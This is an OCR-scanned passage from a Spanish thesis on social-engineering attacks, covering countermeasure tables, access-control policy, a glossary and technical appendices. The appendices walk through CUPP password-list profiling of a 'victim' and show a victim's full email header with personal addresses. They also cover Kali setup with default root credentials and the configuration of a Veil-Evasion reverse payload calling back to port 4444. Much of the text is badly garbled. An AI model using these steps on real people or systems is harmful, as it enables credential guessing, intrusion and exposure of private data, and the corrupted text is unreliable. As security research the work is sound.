apagada la m¡sma.

No dar ¡nformación inmediata por

teléfono, menos de un contacto de la

empresa.

. Visitar en horarios

de almuezo

. Dejar encargos o

presentes en los

puestos.

Estar atentos y

Dentro del anál¡s¡s de y contramed¡das basado en

los posibles ataques o r¡esgos, tamb¡én hay que

analizar las recomendac¡ones generales o bás¡cas a

tener en consideración dentro de la empresa.

Tabla 4-7. Recomendac¡ones - Área de Riesgo y contramed¡da

Tácticas Atacante Estrategia de contramedida

aprender a

leconocer al



atac¿nte

Una

administración de

181

Los atacantes suelen dar srgnos de estar

apresurados

Dar nombres no conocidos, hay que

tratar de validar la informactón dada

Hay casos en que se tiene a suplantar o

¡mitar a algu¡en, hay que estar atento a

acentos o cambios de la voz.

Es muy común deteclar enores de

escntura, o semánt¡ca.

Las preguntas obvias suelen estar muy

presenles.

Administración y mantenimiento de

cuentas de usuarios.

Un claro y adecuado procedimientos

para la atención de "Help Desk"

Elaboración de Privilegios de Acceso

para usuarios

Procedimienlo para el manejo y

monitoreo de Violaciones

Una política para la creación de lDs de

usuarios, que no sea tan predecible.

Políticas de Privacidad de la ¡nformac¡ón

tanto laboral como personal.

Tratamiento de doa.,¡mentos fisicos para

ser desechados

Politicas de escntorio limpio.

respaldos

adecuada

organ¡zada

v
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4.2. Manejo de Privilegios

Es muy ¡mportante el poder saber los a@esos o privilegios a las

personas indicadas o que manejen información sensible de la empresa,

para ello no sólo es indispensable poder restringir o perm¡tir a nivel

informático o de sistema lo que puede o deja de realizar. Por lo general

una asistente tiene privilegios iguales o incluso hasta superiores que el

mismo jefe inmediato, ya que es la que ayuda a gestionar las labores

cot¡d¡anas y el tiempo es muy importante, y las restricciones suele

representar una demora.

4.2.1. Pautas para el manejo de privilegios

Una buena práctica para el manejo de privilegios es eliminar los

derechos de administrador sobre la maquina, esto podría ayudar a

reducir nesgos y ahonar dinero en soporte técn¡co al usuario final.

Las empresas que utilizan una gestión de privilegios eficaces

pueden reducir sus costos de soporte de escritorio hasta en un

4Oo/o y, de acuerdo con Gartner, ahonar dinero de más de 1.000

dólares por escritorio al año.

Soluciones basadas en gestión de privilegios permiten la

eliminación de los derechos de administrador de la empresa con
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un enfoque práctico y rentable pa@ la ejecución de privilegios

mínimos en el entorno informático.

Adicional una reducción de riesgo ayuda a la productividad de los

empleados.

4.2.1.1. Principales objetivos del manejo de privilegios

El mantenimiento de un entorno de escritorio confiable y

seguro.

Eliminación de los derechos de administrador.

Garantizar que los usuarios sólo tienen el nivel correcto

de privilegios, en cualquier computadora.

Reducción de los costes de manten¡miento de

computadoras.

Control de acceso a las apl¡cac¡ones

4.2.1.2. Beneficios

Mejorar la productivrdad

Aumentar la seguridad

Reducir las solicitudes de servicro soporte técnico
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4.3. Rotación de Tareas

La seguridad de la información debe estar también enfocáda a las tareas

del día a día, es decir de las tareas o funciones cotidianas. El manejo de

la información esta d¡reccionada o guiada a:

r Atribución y responsabilidades de su función

o Objetivos del negocio

o Políticas vigentes

Es ¡mportante el poder rcalizar la segregación de las funciones, el cual

permite reducir el riesgo de una mala utilización de los sistemas e la

información sens¡ble, sea de manera intencional o accidental.

4.4. Control de Acceso

El enfoque de esta sección es dar el control del acceso a la información

y los procesos del negocio de la empresa

Los accesos a la información deben tener una alta importancia en los

diferentes ámb¡tos de la empresa.

4.4.1 Políticas de control de accesos de la información

Se deben def¡nir y documentar los requer¡m¡enlos del giro de

negoc¡o de la empresa para el control de acceso a la rnformación,
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también establecer y difundir polít¡c€s, reglas y privilegios para los

usuanos

El crear espec¡f¡caciones claras de los requisitos de negocio que

serán analizados por los controles de acceso de la empresa.

Los accesos deben ser registrados en la medida de lo posible

4.4.2 Administración de accesos de usuarios

El adm¡nistrar los reg¡stros de usuarios tiene una alta relevanc¡a,

debe existir un procedimiento formal de los ingresos y cancelación

del registro o usuarios, para otorgar accesos a todos los sistemas

o servicios de información de la empresa.

Hay que poseer adecuadas restricciones y controles para la

asignación y uso de privilegros o recursos de los diferentes

sistemas de la información. Estas restricciones deben ser

constantemente revisadas y puestas a pruebas de forma interna

como externa.

4.4.3 Administrac¡ón de contraseñas de usuarios

Uno de los más eficaces recursos para el control de acceso a la

información es el poder tener contraseñas adecuadas, estas

validan el acceso a los usuarios a los diferentes sistemas de la
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información, la importancia de una buena administración, tiene

que llevar a las empresas a tener un proceso dedicado a la

admrnistración y gestión de las contraseñas as¡gnadas a los

USUATIOS

Este proceso debe ser evaluado, y ya que depende mucho del

usuario, ya que él es el que debe asignar en base a las normas

establecidas, y si este proceso de gestión es muy elaborado,

puede a generar un mayor maleslar y ese no es el fin último.

Hay que tener en cuenta que el perfil que se cree para el acceso

debe ser revisado de forma periódica.

Hay que tener un especio dedicado para concientizar al usuario

de crear buenas contraseñas y que las comunes pueden ser

deducidas de forma fácil

4.4.4 Equipos informáticos desatendidos

Es importante asegurar que el equipo informático desatendido

esté debidamente protegido, todos los usuarios y proveedores de

servicio deberán conocer los requisitos de seguridad y los

procedim¡entos para proteger tales equipos.
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Una adecuada política del puesto de trabajo despejado y bloqueo

de pantalla, se debe dar a conocer a los usuarios la importancia

de mantener seguro su puesto de trabajo, ya que así se evitará el

acceso de terceros a sus equipos.

CONCLUSIONES Y RECOMENDACIONES

Conclusiones

Muchas empresas no conocen la importancia de

estar atentos a las vulnerabilidades dentro del as

empresas enfocadas a las personas.

Hay un sin número de herramientas disponibles que

se pueden utilizar para realizar un ataque de

lngeniería social, todas estas herramientas no

necesaraamente deben ser implementadas por

expertos informát¡cos.

El esquema sugerido basado escenarios es una

forma objetiva de evaluar que tan vulnerable puede

ser la empresa. La desventaia sería en que no

siempre se puede abarcar con todos los escenarios

posibles.

Una forma de siempre estar preparados es poder

tener una polÍtica interna de comunicación
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adecuada. Dar a conocer tips de seguridad día a

día.

Los escenarios planteados en este tesis

demostraron que pueden vulnerar a las personas de

una empresa, y considerando que solo se ataco a

una persona de un sin número de posibles vídimas.

Poder amar un cuadro de escenarios exhaustivos que

permita dar pautas a un manual de buenas prácticas.

Tener una persona que sepa de este tipo de ataques

para que pueda realizar la evaluación interna de forma

adecuada.

Poder gestionar este análisis en un sistema informático

para que sea un marco de trabajo más ágil y efectivo.
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GLOSARIO

ATAQUE.- Método por el cual un individuo, med¡ante un sistema informático

intenta tomar el control, desestabilizar o dañar otro s¡stema informático

(ordenador personal, red privada, etétera)

C.E.H.- CEH (Certified Ethical Hacker) es la certificación oficial de hack¡ng ético

desde una perspectiva independiente de fabricantes.

CRACKER.- El término cracker (del ¡nglés cracker, 'romper') se utiliza para

referirse a las personas que rompen algún sistema de seguridad.

DNS.- Domain Name System o DNS (en español «Sistema de Nombres de

Dominio») es un s¡stema de nomenclatura jerárquica para computadoras,

servicios o cualquier recurso conectado a lnternet o a una red privada.

FOOTPRINTING.- Footprinting es una técnica de recopilac¡ón de información

sobre los sistemas informáticos y las entidades a las que pertenecen, son

tareas que se realizan antes de hacer un alaque real.

FRAMEWORK.- La palabra inglesa 'Yramework" (marco de trabajo) define, en

términos generales, un conjunto estandarizado de conceplos, prácticas y

criterios para enfocar un tipo de problemát¡ca particular que sirve como

referencia, para enfrentar y resolver nuevos problemas de índole similar.

FRAUDE.- El fraude es la acc¡ón contraria a la verdad y a la rectitud o ley -

fraude de ley-, que perjudica a la persona contra quien se comete.

FTP.- FTP (siglas en inglés de File Transfer Protocol, 'Protocolo de

Transferencia de Archivos') en informática, es un protocolo de red para lan
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transferencia de archivos entre s¡stemas conectados a una red TCP

(Transmissron Control Protocol), basado en la arquitectura cliente-servidor.

HACKER.- Gente apasionada por la seguridad informática Esto concierne

principalmente a entradas remotas no autorizadas por medio de redes de

comunicación como lnternet

HARDWARE.- El término hardware se refiere a todas las partes tangibles de

un sistema informático; sus componentes son. eléctricos, electrónicos,

electromecánicos y mecánicos.

HTTP.- Http son las siglas de HyperText Transfer Protocol, el método utilizado

para transferir f¡cheros hipertexto por lnternet. La transferencia hipertexto es

simplemente la transferencia de ficheros hipertexto de un ordenador a otro.

HTTPS.- Hypertel Transfer Protocol Secure (en español: Protocolo seguro de

t"ansferenc¡a de hipertexto), más conoodo por sus s¡Jlas HTTPS, es un prolocolo de

apliceción basado en el protocolo HTTP, desünado a la transferenoa seguri¡ de datos de

Hipertefo, es dec¡r, es le versión segura de HÍTP

!P.- lnternet Protocol, es la especif¡cac¡ón que determ¡na hacia dónde son

encaminados los paquetes. en función de su d¡rección de destino.

ISO 2700,- Es una certif¡cación de las normas para la tecnologia informática y

los sistemas de gestión informáticos. Al conseguir tal certificac¡ón, las

empresas pueden vender sus servicios de mejor manera, asi como también

pueden garant¡zar la fiabilidad de sus operaciones intemas.

KALI LINUX.- Kali Linux es una distribución basada en Debian GNU/Linux

diseñada principalmente para la aud¡toría y seguridad iñformática en general.

KINESTESICO.- El sentido kinestésico suministra datos del movimiento y de la

postura corporal, del equilibrio y desequ¡l¡brio físico
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LAN.- Local Area Network. Red de área local. Una red pequeña de datos que

cubre un área limitada, como el ¡nter¡or de un edificio o un grupo reduc¡do de

edific¡os

LISTENER.- Es un término en informática que se utiliza para ind¡car que un

puerto lógico de un equipo está escuchando o receptando datos.

LOG.- Un log es un registro oficial de eventos duranle un rango de t¡empo en

part¡cular.

LOGIN.- Es el proceso med¡ante el cual se controla el acceso individual a un

sistema informático med¡ante la ¡dent¡f¡cación del usuario utilizando

credenciales provistas por el usuario

METASPLOIT.- Es un proyecto open source de seguridad informática que

proporciona información acerca de vulnerabilidades de seguridad y ayuda en

tests de penetración y en el desarrollo de firmas para sistemas de detección de

inlrusos.

METERPRETER.- Meterpreter es un intérprete de comandos que permite de

una forma segura y suave rnteractuar con la maquina objetivo.

NMAP.- Nmap es un programa de codigo abierto que sarve para efectuar

rastreo de puertos

PHREAKER.- Es un término acuñado en la subcultura informática para

denominar la actividad de aquellos individuos que orientan sus estudios y ocio

hacia el aprendiza.je y comprensión del funcionamiento de teléfonos de d¡versa

índole, tecnologÍas de telecomunicaciones, funcionamiento de compañías

telefónicas, sistemas que componen una red telefónica y por último; eleclrón¡ca

aplicada a sistemas telefónicos.
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PNL.- La programación neurolingüÍstica (PNL) es un modelo de comunicac¡ón

interpersonal que se ocupa fundamentalmente de la relación entre los

comportam¡entos exitosos y las experiencias subjetivas.

RASPBERRY Pl.- Es un ordenador de placa reducida o (placa única) (SBC) de

bajo coste, desarrollado en Reino Unido por la Fundación Raspberry Pi, con el

objetivo de estimular la enseñanza de ciencias de la computación en las

escuelas.

RFID.- Siglas de Radio Frequency lDentification, en español identificación por

radiofrecuencia, es un s¡stema de almacenamiento y recuperación de datos

remoto que usa dispositivos denominados etiquetas, tarjetas, transpondedores

o tags RFID

ROUTER.- Su traducción de enrulador o encaminador de paquetes, es un

d¡spositivo que proporciona c¡nectividad a nrvel de red.

SHELL.- Es un programa que proveen una interfaz de usuario para acceder a

los servicios del sistema operativo. Los shells están diseñados para facilitar la

forma en que se invocan o ejecutan los d¡st¡ntos programas dispon¡bles en el

computador.

SMART CARDS.- Una tarjeta inteligente (smart card, es cualquier tarjeta del

tamaño del bolsillo con c¡rcuitos ¡ntegrados, que permite la ejecución de cierta

lógica programada.

SMB.- Server Message Block o SMB es un Protocolo de red que permite

compartir archivos e impresoras entre nodos de una red. Es utilizado

princ¡palmente en ordenadores con Microsoft Wndows y DOS.

SOFTWARE.- Se conoce como softwarel al equipamiento lógico o soporte

lógico de un sistema informático, que comprende el conjunto de los
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componentes lógicos necesarios que hacen pos¡ble la realización de tareas

especificas, en contrapos¡crón a los componentes físicos que son llamados

hardware.

SPAM.- Se llama spam, correo basura o mensaje basura a los mensajes no

solicitados, no deseados o de remitente no conocido (correo anónimo)

SPOOFING.- Spoofing, en términos de seguridad de redes hace referencia al

uso de técnicas de suplantación de identidad generalmente con usos

malrciosos o de rnvestigación.

TELNET.- Telnet (TELecommunication NETwork) es el nombre de un protocolo

de red que perm¡te via¡ar a otra máquina para manejarla remotamenle.

Unix.- Sistema operativo especializado en capacidades de multiusuario y

multitarea. Fue la base inicial de lnternet. Entre sus características más

importantes se encuentran. Redireccionamiento de Entrada/Sal¡da

URL.- Un localizador de recursos uniforme o URL -siglas 
en inglés de uniform

resource locator- es un identificador de recursos uniforme (URl) cuyos

recursos refer¡dos pueden cambiar, esto es, la dirección puede apuntar a

recursos variables en el tiempo.

VPN.- Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual

Private Network, es una tecnologÍa de red que perm¡te una extensión segura de

la red local (LAN) sobre una red pública o no controlada como lnternet.

WAN.- (Wide Area Network, Red de Área Amplia). Red de computadoras

conectadas entre sí. Usando líneas terrestres o incluso satélites para

interconectar redes LAN en un área geográfica extensa que puede ser hasta de

miles de kilómetros.
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WEB.- World Wide Web (WVVW) o Red informática mundiall comúnmente

conocida como la web, es un s¡stema de distribución de documentos de

hipertexto o hipermedios ¡nterconectados y accesibles vía lnternet.

Wi-Fi.- Abreviatura en inglés para "wireless fidelity". Un tipo de red inalámbrica

(WLAN - wireless local area networks), que usa el protocolo inalámbrico de

alcance limitado IEEE 802.11b, que transmite datos en banda ancha en el

rango espectral de 2.4 GHz

ZIP.- En informática, ZIP o zip es un formato de compresión sin pérdida, muy

ulilizado para la compresión de datos como documentos, imágenes o

programas.



APENDICES
APÉNDICE A: PERFTL DE CONTRASEÑAS COMUNES
DE USUARTO (CUPP).

A.1 lnstalación CUPP.

En la plataforma L¡nux podemos encontrar un programa dest¡nado a esta

act¡vidad. por ejemplo para activarlo es necesario los siguientes comandos

Tabla A-1 Comandos para instalac¡ón CUPP

Comando

Accediendo a carpeta # Cd / pentest / passwords i cupp
I

I Ejecución de comando | * I Cupp py

Se puede ver en la imagen debajo, las opciones que usted tiene cuando se

inicia el programa

G':!:IT

Figura A-1 . Opciones de instalac¡ón CUPP

195

Descri pción

j¡
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Cuando se t¡ene la mayor cantidad de información posible de los intereses. los

nombres, apodos, aficiones, etc de nuestra víctima es el momento de utilizar el

cupp con el fin de completar la información que tenemos para la creación de la

lista de contraseñas.

Figure A-2. Parámetros para creación de lista de palabras CUPP

Con excepción de la información que se puede elegir, también si la lista incluirá

palabras o números al azar al final de las palabras, caracteres especiales y

palabras clave.

t:'
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Figura A-3. Esquema para el Análisis

Ahora el CUPP tiene generar la lista de contraseñas y podemos ut¡l¡zarlo con el

fin de ver si algún usuario en la lista es válido. Esta herramienta es muy válida

para tratar de obtener una clave el cual está basado en el perfil del usuario.

I
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APENDICE B: ENCABEZADO DEL MAIL DE
CONFIRMAC¡ÓN.

8.1 Encabezo completo del mail de víctima.

Tabla &1 . Encabezado de recepción de mail v¡cl¡má

x-store-

i n fo : SnüC j kY 1Un5L 3ql TmewTw2 52 8Vzv4 BD3Vwa ibh 6VsG 3Jqomo 3

MMz4 5diGpKveTnauI kyvrGNYzdU5AH+ i J81GH kdeqtxgVC l bobmZ 0 z

-L 2 F6Hc zvca!.¡ 6E /X,/Nm9tu/ JHí3PxY z / 4'7 vY 4 KRQqmT9 6D3Q==

Authentication-Results: hotmail.com; spf=pass (sender

IP ls

smtp . mai I from=mlopez @carsegsa. com,'

x-hmca=pass

7

header. id=mlope z G carsegsa . com

X-Message-De I ivery:

Vl 0xLj E 7 dxM 9MD L s PTE 7 YT 0wO0Q9MDI HRDOwO l NDT D0w

wj TPN9X I Lm5HW5o 5xSoX fo 9dnw5a s j 5ONG2 a i CMtnSRNS 0 ZauAeSmI

Fila Encabezado del Mail - Confirmación
1

X-SID-PRA: mlopez Bca rsegsa . com

2

3

4 X-AUTH-Result: PASS

5

6

8

R/ kzsprhkvQPUA+ kv2Zdnp0+ PUcBuKa 5wWz k FsE IXLY2 Z 6zhI cPNEE



i vo!{ F6GwQb I qj 04 /x08 TJWN-i BYbNN+ Den 2LyZlcFqhwl5a n/Me TAyO

Ym/ LJ I Dx8=

I

10

11 from carsegsa.com (mail.carsegsa.com

by mai l.carsegsa.com (Postfix) with ESMTP id

A5587188367

for <rafaelpenaGhotmail. com>i wedr 14 Aug 2013

09t 43:28 -0500 (ECr)

12

13

14

by carsegsa.com (Postfix) with ESMTP id15

for <rafaelpenaGhotmail.com>; Wed, 14 Aug 2013

09:43:26 -0500 (COT)

to

17

Rafael de Ia Peña" <rafaelpenaGhotmail. com>

w166s15850668D8 95856FA6A34 50Gphx. gbl >

<BAY168-

18

19

20

Received: from mail.carsegsa.com ( i 1 9 0 . 9 5 . 2 1 0 . 3 4 I ) by

199

MicrosoftBAYo-MC1- F4 6. Bayo . hotma i I . com with

wed, 14 Aug 2013 07:43: 34 -0700

Received: from SECVIP?5 (Igyesec75. grupocarseg. com

I n-Rep1y-To: <BAY168-
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W166515E50 668D8 9585 6FA6A34 50@phx. gb1>

21 Subj ect: RE: sel eccion

22 Date: wed, 14 Aug 2013 09:43:26 -0500

').1 Message-ID: < 002d01ce98 fcsa262fd6o Se72I fB2 0S Gcom>

24 MIME-Version: 1.0

?q Content-Type: mult ipart/aI ternat ive i

26 boundarY= " ----

= NextPart 000 002E 01C898D2.B98CF560"

I

I
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C.l Preparando Kali Linux en Raspberry.

Configurar el Raspberry, para este proc€so hay que seguir los siguientes

pasos

1. Descargar el Kali Linux lmagen desde la página oficial, hay

una versión desanollada para Raspberry Pi.

htto:/icdimaoe kali.oro/kali-1 .0.9/kali-linux-'l .0.9-armhf r mo. xz

2. El archivo de imagen se lo debe descomprimir con winrar para

windows. http.//www.winrar. com/.

3. A continuac¡ón, ¡nstalar la imagen en la tarjeta SD - para este

proceso se puede usar el programa para \Mndows "Win32

Disk lmage/' http://sourceforoe.neUproiects/win32diskimaqer/

4. Luego se conecta la tarjeta SD en el ordenador portátil de

Windows y ejecute el programa. Se carga el archivo de imagen

de Kali que se ha descargado y se apuntar con el dispositivo

de la letra de unidad de su tarjeta SD.

¡\r.!0.'ir-b'rr q¡Aa.Ér?D.r¡ C¡ f¡ -

crq
¡t

a¡
¡¡.$¡r!¡lt

EE --=..o.1

APÉNDICE C: PASOS PREVIOS ESCENERAIOS
INSTALACIÓN.

F¡gura C-1. Carga de la imagen en SO
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5. Ahora saque la tarjeta SD de su ordenador portátil windows e

insertarla en la ranura para tarjetas SD del Raspberry Pi.

Conecte su video, cable Ethemet, y el teclado y el ratón.

6. Conecte la alimentación a la Raspberry Pi, y en pocos

segundos se inicia el sistema operativo Kali.

7. Kali se instalará automaticamente solo hay que seguir los

pasos sugeridos.

C.2 Configurac¡ón Kali Linux en Raspberry.

Luego de instalar KALI se sugrere realizar los siguientes pasos

Tabla C-1. Comando de aclual¡zec¡ón Kali

# apt-get update && apt-get upgrade && apt-get dislupgrade

C.3 lnstalando servidor SSH.

Este servicio permite conectarse de forma remota al s¡stema, por medio

de una conexión segura. Para estas pruebas e utilizará el programa

"PUTTY'

Tabla C-2. Comando para instalar SSH

Comando de actualización

Comando de lnstalación

root@kali-:# aptget install openssh-server

I
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Luego de tener instalado el servidor hay que levantar el servicio para

poder acceder.

Tabla C-3. Comando para levanlar el servic¡o SSH

root@kali-# service ssh start

Comando de lnstalación

C.4lnstalando Putty.

Luego utilizamos el programa PUTTY, para probar la conexión remota

hacia eI RASPBERRY.

Se descarga el programa putty

http //the earth lr/- S tatharn/puttv/latest/xB6/p , y se configura lostti

parámetros solicitados para cómo se muestra en la figura C2, el usuario

por defecto es root, y el password es toor.

|\.

CI:.. .JL

. st,.r

hÉ.bFrñ.'fYEl
¡.dt-r-rÉ-ra----
l-b-t¡b E
It!:r6!ór. l¡¡
¡- - !- -.¡.. a 

- 
--

t,t--.f..-l-t

Cb----.-* rb- .¿ Qr+----

q-II I

ul
s-l
o¡l

F¡gura C-2. Programa Putty

I

E
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C.5 Configuración de SET (Social Engineer Toolkit)en KALI.

El set de herram¡entas para el ataque de ingeniería social, viene

instalado desde su pr¡mera versión de KALI, lo que hay que considerar

es poder aclualizar el mismo para se debe abrir el aplicativo y

actual¡zarlo.

Figura C-3. S.E.T en KALI

Luego de selecc¡onar "Social Engineering Toolkit", se nos abre una

consola y usamos la opción 5) y 6) para actualizar el set de

herramientas

¡

-

Figura C-3. S.E.T opcrones de aclualizactón

+a
.ao
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L

E
-l*
(_

t-

¡r

qr '.'
tc
c,.
19.-
c..
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C.6 Configuración VEIL-Evation en KALI.

Para la instalación de VE lL se real¡za los pasos mostrados en la Figura

C4

Figura c-4. lnstalación de VEIL-Evation

Luego de ingresar al Framework Veil-Evation, se muestra la lista

I

l

E

t

I
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F¡gura C-5. Lista de payloads de VEIL

Se muestra los payloads disponibles hasta la fecha de publicación, en

esta versión son 26 disponibles.

Luego se selecciona uno para proseguir a su configuración, para ello se

usa el comando "use", seguido del numero del payload selecc¡onado.

Para este ataque se va utilizar el numero 21)

pyt ho n /sh e I I cú e _i nject/a e s_e n c ry pt

Figura C6. Selecc¡ón de Payload - Veil

Luego se carga las opciones del payload

Figura C-7. Carga de Payload - Veil

FLccrc er.ier ! l

t- -----

¡
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Las opciones disponibles se muestra debajo del texto "Required

Options", por defecto la configuración es adecuada para realizar el

ataque. Para continuar se pone el comando "generate"

Figura C-8. Comendo Generate - Ve¡l

Luego se solic¡ta el nombre del archivo a crearse,

F¡gura C-9. Nombre de archivo de salida - Ve¡l

Para las sigu¡entes opciones se seleccionan las opciones por defecto

Figura C-9. Se¡ecc¡ón de parámetros por defeclo - Veil

Luego se presiona la tecla ENTER

r

Figura C-'10. lngreso de parametros - Veil

I

I

¡



208

Se solicita la ip de el cual va recibir la información de la máquina de la

víctima, se coloca la ip del raspberry, adicional se configura el puerto el

cual se pone "4444"

F¡gura C-1 1. Ventana de generación del payload - Ve¡l

Solicita una configuración adicional, consultando si se desea crear un

archivo ejecutable, se escoge la opción por defecto, " l "

Ftgura C-'12. Creación de payload ejecrubale - Veil

-

a
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Ruta de los archivos generados con los parámetros configurados

Figura C-13. Ruta de los archivos generedos - Ve¡l

I
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